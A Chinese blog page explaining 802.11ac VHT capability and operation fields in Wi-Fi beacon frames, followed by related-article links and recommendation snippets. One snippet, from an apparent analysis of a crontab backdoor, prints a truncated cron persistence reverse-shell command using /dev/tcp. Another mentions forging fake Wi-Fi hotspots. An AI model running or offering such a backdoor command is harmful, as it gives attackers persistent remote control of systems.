VHT Capabilities

802.11ac作为IEEE 无线技术的新标准,它借鉴了802.11n的各种优点并进一步优化,除了最明显的高吞吐特点外,不仅可以很好地兼容802.11a/n的设备,同时还提升了多项用户体验。802.11ac 主要技术特征:由于802.11n在MAC层已经很优异了,因此802.11ac在MAC层上的改进并不多,主要通过PHY层来提升其基础速率。更密的调制模式256qam,更宽的信道带宽,更多的空间流,MU-MIMO等等

1. Receive and Transmit Antenna Pattern Consistency接收和发送天线模式一致性;如果发射机的天线方向图没有改变,这些位将被设置为1关联完成后,否则为0。 最常见的原因之一要改变的天线方向图是波束形成。

2. VHT Link Adaptation capable该字段用于链路自适应反馈,以使用显式反馈来选择用于链路的最合适的MCS。

3. Max A-MPDU Length Exponent:11ac中的A-MPDU与11n中类似,不同之处在于Maximum A-MPDU Length Exponent由11n中的两位扩大至3位,所以11ac支持的最大A-MPDU聚合长度为2^(13+7)-1=1048575Bytes。

VHT A-MPDU factor与A-MPDU长度 的对应关系:

0 -> 8191;1 -> 16383;2 -> 32767;3 -> 65535;4 -> 131071;5 -> 262143;6 -> 524287;7 -> 1048575

4. +HTC-VHT capable该值设置为1,表示发射机能够接收VHT变体HT控制字段。

5. VHT TxOP Power-Save:AP可以将该位设置为1,以在VHT传输突发期间启用省电操作,或者将0禁用它们。

6. Multi-User (MU) Beamformer (1 bit) and Beamformee (1 bit):多用户波束形成,beamformer是发送端,Beamformee是接收端,设置为1表示启用

7. Compressed Steering Number of Beamformer (BF) Antennas (3 bits) and Number of Sounding Dimensions (3 bits)这些字段用于波束成形的通道测量过程指示可以参与通道测量的最大天线数。这些跟波束形成有关。

8. Single-User (SU) Beamformer (1 bit) and Beamformee (1 bit):单用户波束成形,1为支持,0为不支持

9.Rx STBC & Tx STBC:表示是否支持STBC以及支持的最多空间流

10. Short GI for 80 (1 bit) and Short GI for 160 & 80+80 (1 bit):这原理跟802.11n的一样

11.Rx LDPC的支持字段,1表示该设备支持接受LDCP编码的帧,0表示不支持

12. Supported Channel Width set (2 bits):这个字段表明是否支持160MHz。0表示不支持;1表示仅支持160MHz;2表示同时支持160MHz和80+80MHz

13. Maximum MPDU Length:最大MPDU长度,跟A-MPDU不同这是单个MPDU的长度;0表示3,895 bytes;1表示7,991 bytes;2表示11,454 bytes

14. VHT Supported MCS Set (Rx & Tx) 在Capabilities元素之后是支持的MCS Set元素,如下所示它分为两个相同的两半,上半部分描述接收能力和下半部分描述传输能力。

每个分为两个字段VHT-MCS Map和Highest Supported Data Rate

VHT-MCS Map中,每条空间流0表示支持MCS0~7;1(01)表示支持MCS0~8;2(10)表示支持MCS0~9;

3(11)表示保留

Highest Supported Data Rate中有13位bit表示支持的最大速率,算法是最小单位1Mbps乘以这13位表示的10进制数;比如80MHz 2条空间流即速率为867Mbps,此时这13位表示为0001101100011(867),但是在我抓的包中没有显示此字段数据,不知道为什么

VHT Operation Information

1.Channel Width:表示信道带宽,设为0表示20MHz或40MHz当前;设置为1表示80MHz;2表示160MHz;

设为3表示80+80MHz

2.Channel Center Frequency 1:这个字段只用于80MHz和160MHz时,表示当前中心信道;当是80+80时,则表示其中频段低的中心信道

3. Channel Center Frequency 2:这个字段只用于80+80,表示用于传输的第二个中心信道

4.VHT Basic MCS Set:表示BSS中支持的基本MCS

beacon帧字段结构最全总结(一)——beacon基本结构

beacon帧字段结构最全总结(二)——HT字段总结

beacon帧字段结构最全总结(三)——VHT字段总结

beacon帧字段结构最全总结(三)——VHT字段总结的更多相关文章

  1. beacon帧字段结构最全总结(二)——HT字段总结

    一.HT Capabilities HT Capabilities:802.11n的mac层给802.11的mac层加入了高吞吐量单元.所有新加的802.11n功能都是通过管理帧中的HT单元才得以实现 ...

  2. beacon帧字段结构最全总结(一)——beacon基本结构

    一.beacon帧主要结构 二.MAC  header 1.Version:版本号,目前为止802.11只有一个版本,所以协议编号为0 2.Type:定义802.11帧类型,802.11帧分为管理帧( ...

  3. sql两个字段相加减,第三个字段没有值的原因.

    错误的写法:(in_story_num-out_story_num) as story_num 正确的写法:(nvl(in_story_num,0)-nvl(out_story_num,0)) as ...

  4. 构造并发送Beacon帧以伪造任意WiFi热点

    请想象一下这样的情景:你可以任意伪造很多个WiFi热点, 这个技术只能在linux上使用,而且对无线网卡也有一定的挑剔,具体的下面会讲- 阶段一:基本原理 首先需要搞清楚的是,手机.电脑等支持WiFi ...

  5. beacon帧

    1.MAC头部 解释: ① Version 版本号  目前为止802.11只有一个版本,所以协议编号为0 ② Type 00表示管理帧,01表示控制帧,10表示数据帧 ③ Subtype 和Type一 ...

  6. MySQL (三)-- 字段属性、索引、关系、范式、逆规范化

    1 字段属性 主键.唯一键和自增长. 1.1 主键 主键:primary key,一张表中只能有一个字段可以使用对应的键,用来唯一的约束该字段里面的数据,不能重复. 一张表只能有最多一个主键. 1.1 ...

  7. 802.11 ------ Beacon帧、Beacon Interval、TBTT、Listen Interval、TIM、DTIM

    Beacon帧:Beacon的实际发送一般都是采用最低速率的,其包含两个原因,1)beacon帧是一个广播帧,其没有ACK反馈,所以无法设置重传机制,2)beacon帧目的是广播AP的基本信息,所以希 ...

  8. 【java/oralce/sql】往一张仅有id,名称,创建时间三个字段的表中插入百万数据需要多久?1分26秒

    代码下载:https://files.cnblogs.com/files/xiandedanteng/fastfilltable20191222.rar 表testtb18的结构如下: CREATE ...

  9. 屏幕字段结构SCREEN的字段含义

    在SAP屏幕中,一个字段就像.NET中的一个控件,这个字段对应一个SCREEN结构,就像控件的多个属性. SE11可以查看SCREEN结构中的字段,只是没有备注. 名称 长度 说明 NAME 屏幕字段 ...

随机推荐

  1. 网页布局——Flex弹性框布局

    布局的传统解决方案,基于盒状模型,依赖 display 属性 + position属性 + float属性.它对于那些特殊布局非常不方便,比如,垂直居中就不容易实现. 需要安卓4.4及以上版本可以使用 ...

  2. LeetCode初级算法--数组01:只出现一次的数字

    LeetCode初级算法--数组01:只出现一次的数字 搜索微信公众号:'AI-ming3526'或者'计算机视觉这件小事' 获取更多算法.机器学习干货 csdn:https://blog.csdn. ...

  3. JavaScript ES6函数式编程(一):闭包与高阶函数

    函数式编程的历史 函数的第一原则是要小,第二原则则是要更小 -- ROBERT C. MARTIN 解释一下上面那句话,就是我们常说的一个函数只做一件事,比如:将字符串首字母和尾字母都改成大写,我们此 ...

  4. 子网掩码!如何划分子网掩码,计算IP地址

    作者:chli1806 一.子网掩码的含义和根据子网掩码划分子网一个IP地址必然属于某一个网络,或者叫子网.子网掩码就是用来指定某个IP地址的网络地址的,换一句话说,就是用来划分子网的.例如,一个A类 ...

  5. CSS中颜色表示方法及颜色表

    一:直接用颜色的英文名表示 二:RGB(x,y,z)函数表示,x.y.z.分别是红色.绿色.蓝色的值,x,y,z∈[0,225],亦可用百分比表示:对比rgba(x,y,z,a)中a是alpha通道设 ...

  6. crontab一句话后门分析

    正常版本 (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1&g ...

  7. JavaScript回调函数和递归函数

    一.回调函数--通过函数的指针来调用函数 把一个函数的指针作为另一个函数的参数,当调用这个参数的时候,这个函数就叫做回调函数 在链式运动上会用到回调函数,之后运动会见到 A.通过指针来调用函数 B.通 ...

  8. epoll(2) 使用及源码分析的引子

    epoll(2) 使用及源码分析的引子 本文代码取自内核版本 4.17 epoll(2) - I/O 事件通知设施. epoll 是内核在2.6版本后实现的,是对 select(2)/poll(2) ...

  9. 百万年薪python之路 -- MySQL数据库之 MySQL行(记录)的操作(一)

    MySQL的行(记录)的操作(一) 1. 增(insert) insert into 表名 value((字段1,字段2...); # 只能增加一行记录 insert into 表名 values(字 ...

  10. 【朝花夕拾】跨进程通信,你只知道AIDL,就OUT了

    一.前言 提起跨进程通信,大多数人首先会想到AIDL.我们知道,用AIDL来实现跨进程通信,需要在客户端和服务端都添加上aidl文件,并在服务端的Service中实现aidl对应的接口.如果还需要服务 ...